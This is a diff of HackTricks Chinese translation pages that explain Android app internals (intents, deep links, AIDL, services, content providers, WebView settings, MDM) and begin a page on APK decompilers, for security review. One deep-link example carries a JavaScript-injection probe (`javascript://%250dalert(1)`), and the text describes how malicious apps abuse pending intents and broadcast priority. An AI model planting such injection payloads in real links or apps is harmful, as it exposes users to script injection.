如果存在漏洞,**Intents 可以用于执行各种攻击**。
|
||||
|
||||
### 意图过滤器(Intent-Filter)
|
||||
### Intent-Filter
|
||||
|
||||
**意图过滤器**定义了**活动、服务或广播接收器如何与不同类型的意图进行交互**。本质上,它们描述了这些组件的功能,比如它们可以执行哪些操作或可以处理哪些广播。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中,尽管对于广播接收器,也可以通过编码来实现。
|
||||
**Intent Filters** 定义**活动、服务或广播接收器如何与不同类型的 Intents 交互**。本质上,它们描述了这些组件的能力,例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml 文件**中,尽管对于广播接收器,编码它们也是一种选择。
|
||||
|
||||
意图过滤器由类别、操作和数据过滤器组成,并可以包含附加元数据。这种设置允许组件处理符合声明标准的特定意图。
|
||||
Intent Filters 由类别、操作和数据过滤器组成,并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定 Intents。
|
||||
|
||||
Android组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件在清单中被**`exported`**设置为**`true`**,或者为其声明了意图过滤器,那么该组件被视为公共组件,可以与其他应用程序进行交互。然而,开发人员可以通过在其清单定义中将**`exported`**属性设置为**`false`**来显式地将这些组件保持私有,确保它们不会无意中与其他应用程序进行交互。
|
||||
Android 组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件被**`exported`** 设置为 **`true`**,或者在清单中声明了 Intent Filter,则该组件被视为公共的,可以与其他应用程序交互。然而,开发人员可以通过将**`exported`** 属性设置为 **`false`** 来显式保持这些组件私有,确保它们不会与其他应用程序意外交互。
|
||||
|
||||
此外,开发人员可以通过要求特定权限来进一步保护对这些组件的访问。**`permission`**属性可以设置为强制只有具有指定权限的应用程序才能访问组件,从而增加了一层安全性和控制,以确定谁可以与其交互。
|
||||
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`** 属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而增加了安全性和对谁可以与其交互的控制。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -148,13 +150,13 @@ Android组件(活动/服务/内容提供者/广播接收器)的一个关键
|
|||
```
|
||||
### 隐式意图
|
||||
|
||||
意图是使用 Intent 构造函数在程序中创建的:
|
||||
意图是通过意图构造函数以编程方式创建的:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Action**之前声明的意图是**ACTION\_SEND**,**Extra**是一个mailto **Uri**(Extra是意图期望的额外信息)。
|
||||
The **Action** of the previously declared intent is **ACTION\_SEND** and the **Extra** is a mailto **Uri** (the Extra if the extra information the intent is expecting).
|
||||
|
||||
这个意图应该在清单文件中声明,就像下面的例子一样:
|
||||
这个意图应该在清单中声明,如下例所示:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -165,7 +167,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
```
|
||||
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
|
||||
|
||||
"Intent resolution" 过程确定哪个应用程序应该接收每条消息。此过程考虑 **priority attribute**,该属性可以在 **intent-filter declaration** 中设置,**优先级较高的将被选择**。此优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**。此优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||
|
||||
### 显式 Intent
|
||||
|
||||
|
@ -179,32 +181,32 @@ Intent intent = new Intent();
|
|||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### 挂起意图
|
||||
### Pending Intents
|
||||
|
||||
这允许其他应用**代表您的应用执行操作**,使用您应用的身份和权限。构建挂起意图时,应**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(未声明哪个意图可以调用它),**恶意应用程序可以代表受害者应用执行声明的操作**。此外,**如果未指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构造一个 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外,**如果没有指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
|
||||
### 广播意图
|
||||
### Broadcast Intents
|
||||
|
||||
与之前的意图不同,广播意图**可以被多个应用接收**。但是,从 API 版本 14 开始,可以使用 Intent.setPackage 来**指定应该接收消息的应用程序**。
|
||||
与之前的意图不同,后者仅由一个应用程序接收,广播意图**可以被多个应用程序接收**。然而,从 API 版本 14 开始,可以**指定应该接收**消息的应用程序,使用 Intent.setPackage。
|
||||
|
||||
另外,**在发送广播时也可以指定权限**。接收应用程序将需要拥有该权限。
|
||||
或者,在发送广播时也可以**指定权限**。接收应用程序需要具有该权限。
|
||||
|
||||
有**两种**广播:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器内配置的优先级**。**每个应用程序可以处理、中继或丢弃广播**。
|
||||
广播有**两种类型**:**普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
|
||||
|
||||
可以使用 `Context` 类的 `sendBroadcast(intent, receiverPermission)` 函数**发送**广播。\
|
||||
您还可以使用**`LocalBroadCastManager`**的**`sendBroadcast`**函数确保**消息永远不会离开应用**。使用这种方式,甚至无需导出接收器组件。
|
||||
可以使用 `Context` 类中的函数 `sendBroadcast(intent, receiverPermission)` 来**发送**一个**广播**。\
|
||||
您还可以使用**`LocalBroadCastManager`**中的函数**`sendBroadcast`**,确保**消息永远不会离开应用程序**。使用此方法,您甚至不需要导出接收器组件。
|
||||
|
||||
### 粘性广播
|
||||
### Sticky Broadcasts
|
||||
|
||||
这种广播**可以在发送后很长时间内访问**。\
|
||||
这在 API 级别 21 中已被弃用,建议**不要使用它们**。\
|
||||
**它们允许任何应用程序嗅探数据,但也可以修改数据**。
|
||||
这些在 API 级别 21 中被弃用,建议**不要使用它们**。\
|
||||
**它们允许任何应用程序嗅探数据,还可以修改数据。**
|
||||
|
||||
如果发现包含单词“粘性”的函数,如**`sendStickyBroadcast`**或**`sendStickyBroadcastAsUser`**,**检查影响并尝试删除它们**。
|
||||
如果您发现包含“sticky”一词的函数,如**`sendStickyBroadcast`**或**`sendStickyBroadcastAsUser`**,**检查影响并尝试删除它们**。
|
||||
|
||||
## 深层链接 / URL 方案
|
||||
## Deep links / URL schemes
|
||||
|
||||
在 Android 应用中,**深层链接**用于通过 URL 直接启动操作(意图)。这是通过在活动中声明特定的**URL 方案**来完成的。当 Android 设备尝试**访问具有此方案的 URL**时,将启动应用程序中指定的活动。
|
||||
在 Android 应用程序中,**深度链接**用于通过 URL 直接启动一个操作(意图)。这是通过在活动中声明特定的**URL 方案**来完成的。当 Android 设备尝试**访问带有此方案的 URL**时,应用程序中的指定活动将被启动。
|
||||
|
||||
该方案必须在**`AndroidManifest.xml`**文件中声明:
|
||||
```xml
|
||||
|
@ -218,7 +220,7 @@ context.startService(intent);
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
在上一个示例中,scheme 是 `exampleapp://`(还要注意 **`category BROWSABLE`**)
|
||||
该示例中的方案是 `exampleapp://`(还要注意 **`category BROWSABLE`**)
|
||||
|
||||
然后,在数据字段中,您可以指定 **host** 和 **path**:
|
||||
```xml
|
||||
|
@ -226,36 +228,36 @@ context.startService(intent);
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
要从网络访问它,可以设置一个链接,如下所示:
|
||||
要从网页访问它,可以设置一个链接,如:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
为了找到在应用中将要执行的**代码**,请转到由深度链接调用的活动,并搜索**`onNewIntent`**函数。
|
||||
为了找到**将在应用中执行的代码**,请转到由深度链接调用的活动,并搜索函数**`onNewIntent`**。
|
||||
|
||||
了解如何[在不使用HTML页面的情况下调用深度链接](./#exploiting-schemes-deep-links)。
|
||||
|
||||
## AIDL - Android接口定义语言
|
||||
|
||||
**Android接口定义语言(AIDL)**旨在通过**进程间通信**(IPC)促进Android应用程序中客户端和服务之间的通信。由于在Android上不允许直接访问另一个进程的内存,AIDL通过将对象编组为操作系统理解的格式来简化该过程,从而促进不同进程之间的通信。
|
||||
**Android接口定义语言(AIDL)**旨在通过**进程间通信**(IPC)促进Android应用程序中客户端和服务之间的通信。由于不允许直接访问另一个进程的内存,AIDL通过将对象编组为操作系统理解的格式来简化该过程,从而简化了不同进程之间的通信。
|
||||
|
||||
### 关键概念
|
||||
|
||||
- **绑定服务**:这些服务利用AIDL进行IPC,使活动或组件能够绑定到服务,发出请求并接收响应。服务类中的`onBind`方法对于启动交互至关重要,因此在寻找漏洞时,这是一个重要的安全审查领域。
|
||||
- **绑定服务**:这些服务利用AIDL进行IPC,使活动或组件能够绑定到服务,发出请求并接收响应。服务类中的`onBind`方法对于启动交互至关重要,标志着它是安全审查中寻找漏洞的重要领域。
|
||||
|
||||
- **Messenger**:作为绑定服务运行,Messenger便于通过`onBind`方法处理数据的IPC。必须仔细检查此方法,以查找任何不安全的数据处理或执行敏感功能。
|
||||
- **Messenger**:作为绑定服务,Messenger促进IPC,重点处理通过`onBind`方法的数据。必须仔细检查此方法,以发现任何不安全的数据处理或敏感功能的执行。
|
||||
|
||||
- **Binder**:尽管由于AIDL的抽象性,直接使用Binder类的情况较少,但了解Binder充当内核级驱动程序,促进不同进程的内存空间之间的数据传输是有益的。有关更多理解,请参阅资源:[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)。
|
||||
- **Binder**:尽管由于AIDL的抽象,直接使用Binder类的情况较少,但了解Binder作为内核级驱动程序在不同进程的内存空间之间促进数据传输是有益的。有关进一步理解的资源可在[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)找到。
|
||||
|
||||
## 组件
|
||||
|
||||
这些包括:**活动、服务、广播接收器和提供程序。**
|
||||
这些包括:**活动、服务、广播接收器和提供者。**
|
||||
|
||||
### 启动器活动和其他活动
|
||||
### 启动活动和其他活动
|
||||
|
||||
在Android应用中,**活动**就像屏幕,显示应用程序用户界面的不同部分。一个应用可以有许多活动,每个活动向用户呈现独特的屏幕。
|
||||
在Android应用中,**活动**就像屏幕,显示应用用户界面的不同部分。一个应用可以有多个活动,每个活动向用户呈现一个独特的屏幕。
|
||||
|
||||
**启动器活动**是应用的主要入口,当您点击应用的图标时启动。它在应用的清单文件中被定义为具有特定MAIN和LAUNCHER意图:
|
||||
**启动活动**是应用的主要入口,当您点击应用图标时启动。它在应用的清单文件中定义,具有特定的MAIN和LAUNCHER意图:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -264,19 +266,19 @@ android:host="example"
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
不是所有的应用都需要启动器活动,特别是那些没有用户界面的后台服务。
|
||||
并非所有应用都需要启动器活动,特别是那些没有用户界面的应用,如后台服务。
|
||||
|
||||
通过在清单中将活动标记为“exported”,可以使活动对其他应用程序或进程可用。此设置允许其他应用启动此活动:
|
||||
通过在清单中将活动标记为“exported”,可以使其对其他应用或进程可用。此设置允许其他应用启动此活动:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
然而,从另一个应用访问活动并不总是安全风险。如果敏感数据被错误地共享,可能会导致信息泄露。
|
||||
然而,从另一个应用访问一个活动并不总是安全风险。问题出现在敏感数据被不当共享时,这可能导致信息泄露。
|
||||
|
||||
一个活动的生命周期**始于 onCreate 方法**,设置用户界面并准备与用户交互的活动。
|
||||
一个活动的生命周期 **始于 onCreate 方法**,设置用户界面并准备活动与用户的交互。
|
||||
|
||||
### 应用程序子类
|
||||
|
||||
在Android开发中,一个应用程序可以选择创建[Application](https://developer.android.com/reference/android/app/Application)类的**子类**,尽管这并非强制。当定义了这样的子类时,它将成为应用程序中首个被实例化的类。如果在此子类中实现了**`attachBaseContext`**方法,则会在**`onCreate`**方法之前执行。这种设置允许在应用程序的其余部分启动之前进行早期初始化。
|
||||
在 Android 开发中,应用程序可以选择创建一个 **子类** 的 [Application](https://developer.android.com/reference/android/app/Application) 类,尽管这不是强制性的。当定义了这样的子类时,它将成为应用程序中第一个被实例化的类。如果在这个子类中实现了 **`attachBaseContext`** 方法,它将在 **`onCreate`** 方法之前执行。这个设置允许在应用程序的其余部分启动之前进行早期初始化。
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -292,35 +294,35 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
### 服务
|
||||
### Services
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) 是能够在没有用户界面的情况下执行任务的**后台操作者**。这些任务可以在用户切换到不同应用程序时继续运行,使服务对于**长时间运行的操作**至关重要。
|
||||
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**,能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行,使得服务对于 **长时间运行的操作** 至关重要。
|
||||
|
||||
服务具有多种用途;它们可以以各种方式启动,其中**Intents** 是启动服务的主要方法,作为应用程序的入口点。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会开始运行,并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的作用取决于活动客户端连接,则使用 `bindService` 方法将客户端绑定到服务,利用 `onBind` 方法进行数据传递。
|
||||
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法以进行数据传递。
|
||||
|
||||
服务的一个有趣应用包括在后台播放音乐或获取网络数据,而不会影响用户与应用程序的交互。此外,服务可以通过**导出**使其他设备上的进程访问。这不是默认行为,需要在 Android 清单文件中进行显式配置:
|
||||
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### 广播接收器
|
||||
### Broadcast Receivers
|
||||
|
||||
**广播接收器** 在消息系统中充当监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用程序的**清单**或通过**`registerReceiver`** API在应用程序代码中**动态注册接收器**的**两种主要方式**来**注册接收器**。在清单中,广播通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。
|
||||
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或通过应用代码中的**`registerReceiver`** API以**两种主要方式**注册接收器。在Manifest中,广播通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。
|
||||
|
||||
**意图过滤器** 在两种注册方法中都至关重要,确定哪些广播会触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用程序能够做出相应反应,例如根据低电量警报调整行为。
|
||||
**意图过滤器**在这两种注册方法中至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在低电量警报时调整行为。
|
||||
|
||||
广播可以是**异步**的,无序地到达所有接收器,也可以是**同步**的,其中接收器根据设置的优先级获取广播。然而,需要注意潜在的安全风险,因为任何应用程序都可以将自己优先级提高以拦截广播。
|
||||
广播可以是**异步**的,所有接收器无序接收,或**同步**的,接收器根据设定的优先级接收广播。然而,重要的是要注意潜在的安全风险,因为任何应用都可以优先处理自己以拦截广播。
|
||||
|
||||
要了解接收器的功能,请查找其类中的**`onReceive`**方法。该方法的代码可以操作接收到的意图,突出了接收器进行数据验证的必要性,特别是在**有序广播**中,这种广播可以修改或丢弃意图。
|
||||
要理解接收器的功能,请查找其类中的**`onReceive`**方法。该方法的代码可以操纵接收到的Intent,强调接收器进行数据验证的必要性,特别是在**有序广播**中,这可能会修改或丢弃Intent。
|
||||
|
||||
### 内容提供程序
|
||||
### Content Provider
|
||||
|
||||
**内容提供程序** 对于在应用程序之间**共享结构化数据**至关重要,强调了实施**权限**以确保数据安全的重要性。它们允许应用程序访问来自各种来源的数据,包括数据库、文件系统或网络。控制访问的关键权限,如**`readPermission`**和**`writePermission`**至关重要。此外,可以通过应用程序清单中的**`grantUriPermission`**设置临时访问权限,利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
|
||||
**内容提供者**对于应用之间**共享结构化数据**至关重要,强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据,包括数据库、文件系统或网络。特定权限,如**`readPermission`**和**`writePermission`**,对于控制访问至关重要。此外,可以通过应用的Manifest中的**`grantUriPermission`**设置授予临时访问,利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
|
||||
|
||||
输入验证至关重要,以防止诸如SQL注入之类的漏洞。内容提供程序支持基本操作:`insert()`、`update()`、`delete()`和`query()`,促进数据操作和在应用程序之间共享数据。
|
||||
输入验证至关重要,以防止漏洞,例如SQL注入。内容提供者支持基本操作:`insert()`、`update()`、`delete()`和`query()`,促进应用之间的数据操作和共享。
|
||||
|
||||
**FileProvider** 是一种专门的内容提供程序,专注于安全共享文件。它在应用程序的清单中定义,具有特定属性来控制对文件夹的访问,由`android:exported`和`android:resource`指向文件夹配置。在共享目录时要小心,以避免意外暴露敏感数据。
|
||||
**FileProvider**,一种专门的内容提供者,专注于安全地共享文件。它在应用的Manifest中定义,具有特定属性以控制对文件夹的访问,由`android:exported`和`android:resource`指向文件夹配置。共享目录时需谨慎,以避免意外暴露敏感数据。
|
||||
|
||||
FileProvider的示例清单声明:
|
||||
FileProvider的示例Manifest声明:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
|
@ -330,7 +332,7 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
并在 `filepaths.xml` 中指定共享文件夹的示例:
|
||||
在 `filepaths.xml` 中指定共享文件夹的示例:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
|
@ -342,37 +344,37 @@ For further information check:
|
|||
|
||||
## WebViews
|
||||
|
||||
WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**.
|
||||
WebViews 就像是 Android 应用中的 **迷你网页浏览器**,从网络或本地文件中提取内容。它们面临与常规浏览器类似的风险,但可以通过特定的 **设置** 来 **减少这些风险**。
|
||||
|
||||
Android offers two main WebView types:
|
||||
Android 提供了两种主要的 WebView 类型:
|
||||
|
||||
- **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested.
|
||||
- **WebChromeClient** acts more like the full Chrome browser experience.
|
||||
- **WebViewClient** 适合基本的 HTML,但不支持 JavaScript 警告功能,这影响了 XSS 攻击的测试方式。
|
||||
- **WebChromeClient** 更像是完整的 Chrome 浏览器体验。
|
||||
|
||||
A key point is that WebView browsers do **not share cookies** with the device's main browser.
|
||||
一个关键点是 WebView 浏览器 **不与设备的主浏览器共享 cookies**。
|
||||
|
||||
For loading content, methods such as ````loadUrl````, ````loadData````, and ````loadDataWithBaseURL```` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the ````WebSettings```` class. For instance, disabling JavaScript with ````setJavaScriptEnabled(false)```` can prevent XSS attacks.
|
||||
对于加载内容,可以使用 ````loadUrl````, ````loadData````, 和 ````loadDataWithBaseURL```` 等方法。确保这些 URL 或文件是 **安全使用** 的至关重要。安全设置可以通过 ````WebSettings```` 类进行管理。例如,通过 ````setJavaScriptEnabled(false)```` 禁用 JavaScript 可以防止 XSS 攻击。
|
||||
|
||||
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with ````@JavascriptInterface```` for security from Android 4.2 onwards.
|
||||
JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互,从 Android 4.2 开始,要求方法用 ````@JavascriptInterface```` 标记以确保安全。
|
||||
|
||||
Allowing content access (````setAllowContentAccess(true)````) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure.
|
||||
允许内容访问 (````setAllowContentAccess(true)````) 使 WebViews 能够访问内容提供者,这可能是一个风险,除非内容 URL 被验证为安全。
|
||||
|
||||
To control file access:
|
||||
- Disabling file access (````setAllowFileAccess(false)````) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content.
|
||||
要控制文件访问:
|
||||
- 禁用文件访问 (````setAllowFileAccess(false)````) 限制对文件系统的访问,某些资产除外,确保它们仅用于非敏感内容。
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **数字签名应用程序**
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **数字签名** 对于Android应用程序是必需的,确保它们在安装之前是**真实授权**的。该过程使用应用程序标识的证书,并且必须在设备的包管理器上安装时进行验证。应用程序可以是**自签名的或由外部CA认证**,防止未经授权的访问,并确保应用程序在传递到设备期间保持不被篡改。
|
||||
- **数字签名** 是 Android 应用的必要条件,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
|
||||
|
||||
### **增强安全性的应用程序验证**
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- 从**Android 4.2**开始,一个名为**验证应用程序**的功能允许用户在安装之前检查应用程序的安全性。这个**验证过程**可以警告用户可能有害的应用程序,甚至可以阻止特别恶意的应用程序的安装,增强用户安全性。
|
||||
- 从 **Android 4.2** 开始,名为 **验证应用** 的功能允许用户在安装前检查应用的安全性。此 **验证过程** 可以警告用户潜在有害的应用,甚至阻止特别恶意的应用安装,从而增强用户安全性。
|
||||
|
||||
### **移动设备管理(MDM)**
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM解决方案**通过**设备管理API**为移动设备提供**监督和安全性**。它们需要安装一个Android应用程序来有效管理和保护移动设备。关键功能包括**强制密码策略**,**强制存储加密**和**允许远程数据擦除**,确保对移动设备拥有全面的控制和安全性。
|
||||
- **MDM 解决方案** 通过 **设备管理 API** 提供对移动设备的 **监督和安全**。它们需要安装 Android 应用以有效管理和保护移动设备。主要功能包括 **强制密码策略**、**要求存储加密** 和 **允许远程数据擦除**,确保对移动设备的全面控制和安全。
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**尝试困难安全团队**
|
||||
**努力安全组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord团队**](https://discord.gg/hRep4RUj7f) 或 [**telegram团队**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,73 @@
|
|||
# APK反编译器
|
||||
# APK decompilers
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**有关每个工具的更多详细信息,请查看原始帖子[https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
**有关每个工具的更多详细信息,请查看原始帖子 [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
作为开创性的GUI Java反编译器,**JD-Gui**允许您查看APK文件中的Java代码。使用简单;获取APK后,只需用JD-Gui打开它以检查代码。
|
||||
作为开创性的 GUI Java 反编译器,**JD-Gui** 允许您在 APK 文件中调查 Java 代码。使用起来非常简单;获取 APK 后,只需用 JD-Gui 打开它以检查代码。
|
||||
|
||||
